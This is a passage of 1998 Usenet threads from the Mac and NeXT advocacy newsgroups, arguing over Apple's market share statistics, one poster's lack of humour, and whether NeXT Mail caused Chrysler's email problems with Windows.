real or something.
> When, in your physics labs, did you do "delta percents" on
> two data?
All the time, but that was ten years ago.
> Now you take the percentage of your tablet's output as a function of the
> entire population of cesium decay. Then, you make a calculation to show
> the percentage change (of percentage output) from time A to time B.
Perhaps you would care to explain how it is that this is a population
experiment when you measure items all of one sort? You have picked an example
where you don't use it and say "hey, it doesn't work". How about this, take
a cesium and a radium sample and take output as a percent of original output.
Now you notice that one is more active than the other by 15%. This provides
a lot of information about the decay if you happen to know anything about the
other. Heck, if you find other samples that have similar realtive derivative
activites then you have good reason to believe they might be the same
substance. Derivative activities IS half life after all.
Let's not get picky on terms. When I referred to this I was clearly
talking about cases in which you're measuring the number of an identifyable
group within an overall population, like the numbers of Macs sold in the
overall computer population.
Maury
From: macman@home.msen.com (Mac Man)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Fri, 01 May 1998 15:07:59 -0500
Organization: Msen, Inc.
Message-ID: <macman-0105981508000001@tr33-d04.msen.net>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <joe.ragosta-0105980840220001@wil106.dol.net> <MPG.fb38710b4ed417898971d@news.itg.ti.com> <joe.ragosta-0105981323270001@wil111.dol.net> <MPG.fb3ce561c3ae1c098971e@news.itg.ti.com>
3(Yt_\=:XD2Ea\#{|~MLNRDcoW]$ewz6Oxs-aeR]RqSp)^-q2}CZTzi
In article <MPG.fb3ce561c3ae1c098971e@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
>In article Joe Ragosta, joe.ragosta@dol.net says...
>
>
>> And _you_ are exhibiting exactly the same behavior as the other morons.
>>
>> Sorry. I get very, very tired of dealing with the same lies and other FUD
>> every day. The only relief from the FUD is ad hominem attacks. The fact
>> that I prefer logic to lies and ad hominem attacks seems to bother you. I
>> really don't care.
>
>Well, the problem is that the Mac vs. PC debate boils down to personal
>preference and biased studies. What this is really about is a major
>personality conflict. Mac people hate Windows people, and vice versa.
>They hate the people in fact more than the platforms..
No, you see, this is where you're wrong. Windows people hate Mac people
(for some reason I'll never understand fully), but Mac people do not hate
Windows people. A lot of us hate Microsoft, and Bill Gates, and we do get
very, very tired of Wintel users trying to tell us that our computers
suck. But we do not hate people just because they use Windows.
>Mac people are less technically inclined overall, and Windows people
>despise that.
Really? I'd like to see some statistics on that one. It may be true in
some cases, but that is a very ugly generalization.
>Windows people are more tolerant of techie stuff, and Mac people can't
>understand that.
>
>However, you STILL don't have a sense of humor and you STILL try to make
>this whole nonsense debate more than it really is. When someone injects
>some humor in this group you usually slam them for not following debating
>rules. Who cares? It's not about computers, it's about personality
>conflicts.
If someone posted a peronal attack against you Jason, would you be laughing?
--
Mac Man
macman@home.msen.com
Microsoft's slogan -should- read: "Where do you want
to go today? It doesn't matter, you're coming with us."
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 1 May 1998 14:20:52 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6iclo4$oth$6@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
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Cc: mjpeck@nstar.net
In <354A18DE.2819BDD3@nstar.net> Michael Peck claimed:
> I take this to mean that NeXT systems use a non-MIME-compliant mail
> message format, is this true?
Only if you ask it too, otherwise it can be plain text. There's a button
in the window telling you what it's using, and now it includes MIME too
(although a hopelessly outdated version).
Maury
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Fri, 01 May 1998 14:44:29 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354A261D.3D1@CONVEX.COM>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu>
<jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net>
<35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com>
<3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com>
<35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net>
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Maury Markowitz wrote:
[cut]
> Let's not get picky on terms. When I referred to this I was clearly
> talking about cases in which you're measuring the number of an identifyable
> group within an overall population, like the numbers of Macs sold in the
> overall computer population.
And my point was that the conclusions you can draw from your data are
subject to the amount of data you poll from the population, and your
ability to isolate free radicals and independent variables from your
calculations. The calculation in question does nothing of the sort,
rather it ignores the fact that population size is independent and
unpredictable with regard to the sample group. No conclusions can thus
be drawn between two data.
MJP
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: Fri, 01 May 1998 14:46:07 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354A267F.4681@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net>
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Maury Markowitz wrote:
>
> In <354A18DE.2819BDD3@nstar.net> Michael Peck claimed:
> > I take this to mean that NeXT systems use a non-MIME-compliant mail
> > message format, is this true?
>
> Only if you ask it too, otherwise it can be plain text. There's a button
> in the window telling you what it's using, and now it includes MIME too
> (although a hopelessly outdated version).
Plain text isn't adequate for attachments, and perhaps this is what the
article meant. In any case, the deficiency in email (the stated example
of incompatibility) was NeXT's fault, not Microsoft's.
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 1 May 1998 14:47:59 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6icnav$s01$1@ns3.vrx.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu>
<jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net>
<35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com>
<3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com>
<35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net>
<354A1499.52EB74F2@nstar.net> <6iclh3$oth$4@ns3.vrx.net>
<354A261D.3D1@CONVEX.COM>
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Cc: MJPECK@CONVEX.COM
In <354A261D.3D1@CONVEX.COM> Michael Peck claimed:
> And my point was that the conclusions you can draw from your data are
> subject to the amount of data you poll from the population
It was. Sheesh, I didn't see that in there anywhere.
> ability to isolate free radicals and independent variables from your
> calculations. The calculation in question does nothing of the sort,
> rather it ignores the fact that population size is independent and
> unpredictable with regard to the sample group.
Bad example then, I'll be happy to provide the same accuracy with one
cesium sample as 100.
> No conclusions can thus be drawn between two data.
If the application of the sampling method worked in that case, maybe you
could.
I the meantime APPLE'S share of the market is increasing. Good.
Maury
From: Steven W. Schuldt <sschuldt@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 1 May 1998 19:55:33 GMT
Organization: MediaOne -=- Northeast Region
Message-ID: <6id9bl$rih$1@ndnws01.ne.highway1.com>
References: <6id0ln$hfv$1@ha2.rdc1.sdca.home.com>
> The World has gone "off-the-shelf" and custom engineered solutions headbutt
> against the trend. My neighbor launches and builds IS solutions around
> "off-the-shelf" solutions for the Navy. They just put-up a satellite last
> month for command & control Worldwide. What are they using?
>
> NT...
>
> -r
Cool! I didn't realize so much could be done with Wordpad and Solitaire.
Seriously, though. Blaming these horror stories of 'mega-projects run off the
rails' on the technology itself is silly, as is pretending that custom
software solutions were a passing fad of some sort. Many business use custom
technology to differentiate themselves from competitors. If NT satisfies the
needs of your business out of the box, fine, but if poor management decisions
doom a project (and yes, many are doomed from the start) then blame
management. Is there hype in the computer business? No question. Should a
good CIO be able to see through that hype? Also no question.
Sure it lets everyone off of the hook to point to a CD-ROM and say "there it
is - that thing let us all down!" but c'mon. Actually, my experience has been
that it is most often political infighting that drags many major technological
initiatives down. Probably somewhere early on the CIO met her Waterloo when
she decided she would ultimately need to more or less totally eliminate the
Windows boxes from the dealer showrooms in order to quickly break the logjam.
Some swift and ambitious young buck then seized on her weakness and ousted
her. What does this say about the quality of the technology NeXT sold to
Chrysler? Nada - other than it was different enough from Windows to be
noticeable (probably the subtext to this MSNBC article anyway - be
conservative and risk-averse, 'think different' and you'll be hammered down,
use Java at your own risk, don't sue Microsoft sue your consultants, love Big
Brother etc etc).
- Steve
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Fri, 01 May 1998 15:05:32 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354A2B0C.540E@CONVEX.COM>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu>
<jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net>
<35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com>
<3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com>
<35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net>
<354A1499.52EB74F2@nstar.net> <6iclh3$oth$4@ns3.vrx.net>
<354A261D.3D1@CONVEX.COM> <6icnav$s01$1@ns3.vrx.net>
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Maury Markowitz wrote:
> > No conclusions can thus be drawn between two data.
>
> If the application of the sampling method worked in that case, maybe you
> could.
>
> I the meantime APPLE'S share of the market is increasing. Good.
Suit yourself.
MJP
From: VP MIS <vpmis@creditunion.org>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Fri, 01 May 1998 12:29:49 -0700
Organization: Credit Union
Message-ID: <354A22AD.1BF4@creditunion.org>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <joe.ragosta-0105980840220001@wil106.dol.net>
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Joe Ragosta wrote:
>
> In article <6ibiba$clc@argentina.earthlink.net>, gphilbin@isis.net wrote:
>
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> >
> > >It's too bad that people incapable of logical thought like you and kris
> > >are able to post to Usenet. You're a good part of the reason that it's so
> > >full of mindless posts and ad-hominem attacks.
> >
> > Joe Joe Joe. Come on. Give it up bud. At least have the brains to realize
> > you got pissed on in classic fashion by someone who's way out of your
> > league. If I were you I'd keep quiet for a while. You're just making
> > yourself look worse.
>
> How am I making myself look worse?
>
> Someone throws out a complete ad hominem attack without one shred of
> logic. I point that out to them and you argue that it makes me look bad?
Probably because the original poster made the attack in a humorous way
that had people (including myself) laugh out loud. By replying with a
certain amount of anger or irritation, and asserting that this fellow
lacks logic, spreads FUD etc., you make yourself look like a humorless
door knob who just doesn't get it.
Hope the explanation helps.
From: fretwiz@ix.netcom.com (fretwiz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Fri, 01 May 1998 14:06:29 -0600
Organization: Netcom
Message-ID: <fretwiz-0105981406300001@den-co53-26.ix.netcom.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <joe.ragosta-0105980840220001@wil106.dol.net> <MPG.fb38710b4ed417898971d@news.itg.ti.com> <joe.ragosta-0105981323270001@wil111.dol.net> <MPG.fb3ce561c3ae1c098971e@news.itg.ti.com>
In article <MPG.fb3ce561c3ae1c098971e@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> Well, the problem is that the Mac vs. PC debate boils down to personal
> preference and biased studies. What this is really about is a major
> personality conflict. Mac people hate Windows people, and vice versa.
> They hate the people in fact more than the platforms.. Mac people are
> less technically inclined overall, and Windows people despise that.
> Windows people are more tolerant of techie stuff, and Mac people can't
> understand that.
>
> However, you STILL don't have a sense of humor and you STILL try to make
> this whole nonsense debate more than it really is. When someone injects
> some humor in this group you usually slam them for not following debating
> rules. Who cares? It's not about computers, it's about personality
> conflicts.
Gee, I didn't realize that this NG was renamed 'comp.user.personality.conflict'.
Thanks for pointing that out Jason, I'll have to remember that when you
post more of your bull.
From: VP MIS <vpmis@creditunion.org>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Fri, 01 May 1998 12:36:58 -0700
Organization: Credit Union
Message-ID: <354A245A.6091@creditunion.org>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <joe.ragosta-0105980840220001@wil106.dol.net> <MPG.fb38710b4ed417898971d@news.itg.ti.com> <macman-0105981005090001@tr33-d61.msen.net>
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> In article <MPG.fb38710b4ed417898971d@news.itg.ti.com>, jmcn@msg.ti.com
> (Jason McNorton) wrote:
>
> >That post bozo post was the funniest thing I've read in a long time. If
> >it had been about me, I'd still have laughed. Joe though, is the worst
> >curmudgeon I've ever seen. He doesn't even get that he's displaying
> >EXACTLY the behavior the original post said he had now. Being all bitter
> >and debate logic-centric is what it was all about. Do Macs do this to
> >people? Do they make you become zombies that only defend them and can't
> >think of anything else? From the looks of things around here, I'm
> >starting to believe that.
Fortunately not all Mac users are like these sorry examples of
advocates.
Mac Man wrote:
> Actually, it's dealing with anti-Mac people such as yourself, Mr "A world
> with out the Mac is one step cloer to Utopia", as well as being forced to
> use Windows every now and then that makes us that way. You come on this
> pro-Mac group and give us shit day after day, and expect us not to get
> cranky every once in a while?
Every once in a while? Sorry, after months of lurking I don't recall a
single day in this newsgroup when you guys aren't totally bitter and
bent out of shape. While I disagree that "A world with out the Mac is
one step cloer to Utopia", being a happy user of Newton and NeXTstep and
other Apple-related technologies, I do have to admit that all of you
need to lighten up.
Date: Fri, 01 May 1998 16:05:26 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Message-ID: <joe.ragosta-0105981605260001@wil113.dol.net>
References: <6icrin$6ra@newsb.netnews.att.com> <6icjam$oth$1@ns3.vrx.net>
In article <6icjam$oth$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <6icrin$6ra@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
> claimed:
> > The problem : Chrysler's auto sales force was still using
> > Windows. The different divisions couldn't even send e-mail to
> > each other.
>
> What? Sounds like they got rid of the wrong thing, sounds to me like their
> IT people should have been tossed alongwith/insteadof the softare.
>
> Let me ask the people here, has anyone ever had a problem sending mail to a
> windows box? No? Then one has to assume the net in question was using some
> propietary solution. At that point I'm hard pressed to name one that can't
> send mail via the 'net anyway, so this would appear to be their fault (based
> on the tiny information I have from the article in question).
Actually, if you read the article, it makes it pretty clear that Chrylser
didn't drop it for any limitations of NeXT's product. It was a political
decision because people didn't want to use the new system.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Fri, 1 May 1998 15:03:37 -0500
Organization: Texas Instruments
Message-ID: <MPG.fb3e695f80aa1c6989721@news.itg.ti.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <joe.ragosta-0105980840220001@wil106.dol.net> <MPG.fb38710b4ed417898971d@news.itg.ti.com> <joe.ragosta-0105981323270001@wil111.dol.net> <MPG.fb3ce561c3ae1c098971e@news.itg.ti.com> <macman-0105981508000001@tr33-d04.msen.net>
In article Mac Man, macman@home.msen.com says...
> >
> >However, you STILL don't have a sense of humor and you STILL try to make
> >this whole nonsense debate more than it really is. When someone injects
> >some humor in this group you usually slam them for not following debating
> >rules. Who cares? It's not about computers, it's about personality
> >conflicts.
>
> If someone posted a peronal attack against you Jason, would you be laughing?
If it was done as skillfully as that article, I sure would.. I even said
that in my first follow up to it.
--
A world without the Mac is a step closer to utopia.
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Fri, 01 May 1998 13:22:00 -0700
Organization: Trilithon Research and Trading
Message-ID: <354A2EE8.E369E3D8@trilithon.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <joe.ragosta-0105980840220001@wil106.dol.net> <MPG.fb38710b4ed417898971d@news.itg.ti.com> <joe.ragosta-0105981323270001@wil111.dol.net> <MPG.fb3ce561c3ae1c098971e@news.itg.ti.com>
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Jason McNorton wrote:
* Well, the problem is that the Mac vs. PC debate boils
* down to personal preference and biased studies. What
* this is really about is a major personality conflict.
* Mac people hate Windows people, and vice versa.
* They hate the people in fact more than the platforms.
* Mac people are less technically inclined overall, and
* Windows people despise that. Windows people are more
* tolerant of techie stuff, and Mac people can't understand
* that.
I don't buy this last bit at all. The issue is not whether
Mac people (or Windows users for that matter) are or are not
technically inclined. The real issue is whether you want to
spend your time getting done the work you wanted to get done,
or whether you want to spend your time screwing around fixing
the computer hardware and software.
Some people (like myself) own a car to get around. Many
people own cars so they can spend their time working on
the car. I know several macho characters who are amateur
car mechanics. I personally don't understand why they want
to spend every weekend up to their arses in motor oil and
muck and bolts. They in turn look down their oily noses
at me who just wants my car to work so I can drive to the
beach. Here are a couple of opposing mindsets that will
likely never reconcile.
I don't buy the argument that Mac people are less
technically inclined. I'm sure there are Mac users for
whom that is true, but you can't generalise from that. I
personally used to use a Mac, used NextStep (and still
do), used Windows 95, and now use Windows NT. My choice
of platforms was to have available the applications to get
specific jobs done. The primary goal at this time is
developing Java code.
I'm completely apalled at the amount of time I had to
spend on Windows 95 up to my arse in configuration issues
just to keep the thing up and running. I'm apalled but
slightly less so on the amount of garbage I have to deal
with on NT. With NT I need to reboot only about four
times a day instead of twenty with Windows 95. Every one
of these reboots in my view constitutes extra maintenance
work that I didn't want to do and didn't order.
This in comparison with NextStep where it stays up and runs
error free for months on end.
So the real question is not about technical literacy, I
believe --- the question is what you want to spend your
time on. I know many programmers who spend their entire
days busy as hell, configuring systems, downloading code
from the net, porting the GNU utilities, and otherwise
divining the whichness of the why of programming. These
types look busy, and in fact are busy, but from the view
of getting product out the door to paying customers, their
productivity is zero.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 1 May 1998 15:38:33 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6icq9p$sq$1@ns3.vrx.net>
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In <354A267F.4681@CONVEX.COM> Michael Peck claimed:
> Plain text isn't adequate for attachments
Ahhh, but on NeXTStep it is - in fact it's the only system that I've seen
that does this correctly - set the message to plain text and any attachments
will be UUE'ed to the bottom. Works great, never had a problem.
> article meant. In any case, the deficiency in email (the stated example
> of incompatibility) was NeXT's fault, not Microsoft's.
I doubt that, considering that both use internet protocols as their primary
backbone. It's more likely that they were using something else entirely - as
I send mail from my OpenStep box to my PC at home all the time (my Mac too)
and have not had a single problem.
Now if they were using something like CC: and didn't have a client, then
sure. But at that point again the blame shifts to them or Lotus for not
supplying something that works well enough.
Maury
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: Fri, 01 May 1998 15:52:55 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354A3627.21CA@CONVEX.COM>
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Maury Markowitz wrote:
>
> In <354A267F.4681@CONVEX.COM> Michael Peck claimed:
> > Plain text isn't adequate for attachments
>
> Ahhh, but on NeXTStep it is - in fact it's the only system that I've seen
> that does this correctly - set the message to plain text and any attachments
> will be UUE'ed to the bottom. Works great, never had a problem.
My fault, I misspoke. What I meant to say was that this system isn't
adequate for MIME attachments.
> > article meant. In any case, the deficiency in email (the stated example
> > of incompatibility) was NeXT's fault, not Microsoft's.
[cut]
> Now if they were using something like CC: and didn't have a client, then
> sure. But at that point again the blame shifts to them or Lotus for not
> supplying something that works well enough.
In a way, I suppose it's impossible to pin the blame for this on
anybody. Lack-of-applications certainly isn't any one party's fault.
What bothered me about the original post was that it unilaterally
assumed that blame for the incompatibility was Windows' fault. I don't
know that it's possible to say that any more than it's possible to say
that NeXT is at fault for choosing a non-MIME-compliant mail scheme.
It extends from irritation at the knee-jerk that seems to throw punches
at Microsoft at every possible opportunity.
MJP
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 1 May 1998 20:36:55 GMT
Organization: Cygnus Solutions
Message-ID: <6idbp7$qq1$1@cronkite.cygnus.com>
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In <354A267F.4681@CONVEX.COM> Michael Peck wrote:
> Maury Markowitz wrote:
> >
> > In <354A18DE.2819BDD3@nstar.net> Michael Peck claimed:
> > > I take this to mean that NeXT systems use a non-MIME-compliant mail
> > > message format, is this true?
> >
> > Only if you ask it too, otherwise it can be plain text. There's a
button
> > in the window telling you what it's using, and now it includes MIME too
> > (although a hopelessly outdated version).
>
> Plain text isn't adequate for attachments, and perhaps this is what the
> article meant. In any case, the deficiency in email (the stated example
> of incompatibility) was NeXT's fault, not Microsoft's.
>
Wrong.
What the message said was that they weren't able to even _exchange_ mail, not
that the mail was corrupted or undecypherable (nor that it was related to
attachments).
First, you can set the preference for what default NeXT's Mail reader will
send: Plain Text, Mime, old Nextmail (and I'm willing to bet that Rhapsody
will use a more recent version of Mime). Second, you can over-ride this in
each and every compose window. Third, this does absolutely nothing to hinder
the reciept of email by NeXT users -- it will recieve any of the 3 formats
just fine.
I use NeXT Mail here, and have never had even one passing problem with my
Eudora, Netscape, etc users on Windows. In fact, quite often they forward
messages to _ME_ from around the net because my mail reader is so much better
at extracting attachments than theirs. I also send attachments to users all
the time. Never a glitch. Further, I don't know of anyone who has had a
glitch using the mime support in NeXT Mail for exchanging attachments with
windows users. The only time I have heard of any problem exchanging email
between any Unix vendor's systems (next or not) and a Windows system, it was
the fault of a proprietary mail format/gateway on the Windows part of the
equation.
The problem they have mentioned sounds to me like a gateway wasn't configured
correctly (either the Windows mail gateway (like if it was based on Notes or
some other brain dead proprietary mail exchange format), or an improperly
configured sendmail on the mail server). This may or may not have been
NeXT's fault. It may have been the local sysadmin's fault, or the fault of
the proprietary mail gateway (if they were using one) for not adhering to
standards. What commitment did NeXT make to sendmail compatability and
setup? Any half-assed sysadmin can down-load sendmail v8 off the net and get
it working on a NeXT box in short order. Did the deal imply NeXT would do
the configuration for them, or that the local sysadmin was responsible for
such unix-layer configurations?
The problem is that nothing said so far gives a conclusive and detailed
reason for why the deal fell apart. MSNBC obviously wants to give it the
spin that Apple's new OS technology doesn't play fair in an open world (as
though MS products even try to work in an open world). But from what has
been said there is no reason to assign blame to NeXT nor Apple, nor their
technologies. Ofcourse, due to the sheepish nature of MS supporters, they'll
probably all come away from the article feeling as though it is full of
proof.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: Fri, 01 May 1998 16:15:06 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354A3B5A.66C5@CONVEX.COM>
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John Rudd wrote:
> I use NeXT Mail here, and have never had even one passing problem with my
> Eudora, Netscape, etc users on Windows. In fact, quite often they forward
> messages to _ME_ from around the net because my mail reader is so much better
> at extracting attachments than theirs. I also send attachments to users all
> the time. Never a glitch. Further, I don't know of anyone who has had a
> glitch using the mime support in NeXT Mail for exchanging attachments with
> windows users. The only time I have heard of any problem exchanging email
> between any Unix vendor's systems (next or not) and a Windows system, it was
> the fault of a proprietary mail format/gateway on the Windows part of the
> equation.
Then I apologize; I had assumed, as I said in my original message, that
"NeXTMail okay" indicated a possible incompatibility between NeXT mail
systems and MIME-compliant ones. If I was mistaken, I withdraw my
remarks. If I was not, perhaps someone can explain the nature of the
incompatibility.
MJP
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 1 May 1998 20:58:33 GMT
Organization: Cygnus Solutions
Message-ID: <6idd1p$qq1$2@cronkite.cygnus.com>
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Cc: don@misckit.com
In <6id4ni$pt2$1@news.xmission.com> Don Yacktman wrote:
> rriley@yahoo.com (Rex Riley) wrote:
> > The World has gone "off-the-shelf" and custom engineered solutions
headbutt
> > against the trend. My neighbor launches and builds IS solutions around
> > "off-the-shelf" solutions for the Navy. They just put-up a satellite
last
> > month for command & control Worldwide. What are they using?
> >
> > NT...
>
> If that doesn't scare you, it should. To think that something affecting
> national security relies upon NT being stable sends shivers down my spine.
> Worse than any horror flick I've ever watched...
>
>
I had a similar thought. I was a Navy midshipman for a while, and I come
from a very Navy family (luckily, so does my wife -- that way we don't have
to argue over who to root for at the Army-Navy game ;-).
The first thing I thought of was:
You're sitting in the CIC (Combat Information Center) on your new destroyer.
This is the latest class revision that uses all Windows NT off the shelf
equipment. Suddenly you see incomming missile symbols on your displays. You
roll the trackball over to it and designate it as a surface to air missile
target. You click the 'Launch' button...
and up pops a windows saying that the current application has attempted to
execute an illegal instruction.
So, you dismiss this dialog and realize it's too late for a missile.. you
click on the CIWS (Close In Weapons System (the Phalanyx anti-missile gatlin
gun)) activation button..
and you get the BLUE SCREEN OF DEATH.
Yes, I'm sure the families of those sailors will be glad to know they saved a
few dollars on their taxes by going with off the shelf solutions.
Or, how about those early win95 upgrades that would mail your system
configuration to MS. Yeah, I want _THAT_ on my classified network.
There's a reason for using customized and mission critical solutions in some
situations. Now, to be fair, I'm sure they're not yet using NT to control
ships, and especially not ships of the line.... and as much as I love my
Nextstep/Openstep environment, and think it's perfectly stable for a user
platform, I wouldn't use it to control a ship of the line either.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Message-ID: <edewEsAsnB.DC6@netcom.com>
Sender: edew@netcom7.netcom.com
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Date: Fri, 1 May 1998 21:49:59 GMT
In article <6iar1a$91g$1@ha2.rdc1.sdca.home.com> rr6013@yahoo.com writes:
>In <edewEs8IsB.KuE@netcom.com> Eric Dew wrote:
>> In article <35479A36.AD3AAC09@trilithon.com> Henry McGilton
><henry@trilithon.com> writes:
>> >Eric Dew wrote:
>> > * Considering all the recent BAD deals that Japanese
>> > * companies have made (Rockefeller Center, Columbia,
>> > * etc.) and that Japan and other Asian countries
>> > * are not doing so well, I think Apple may be in a
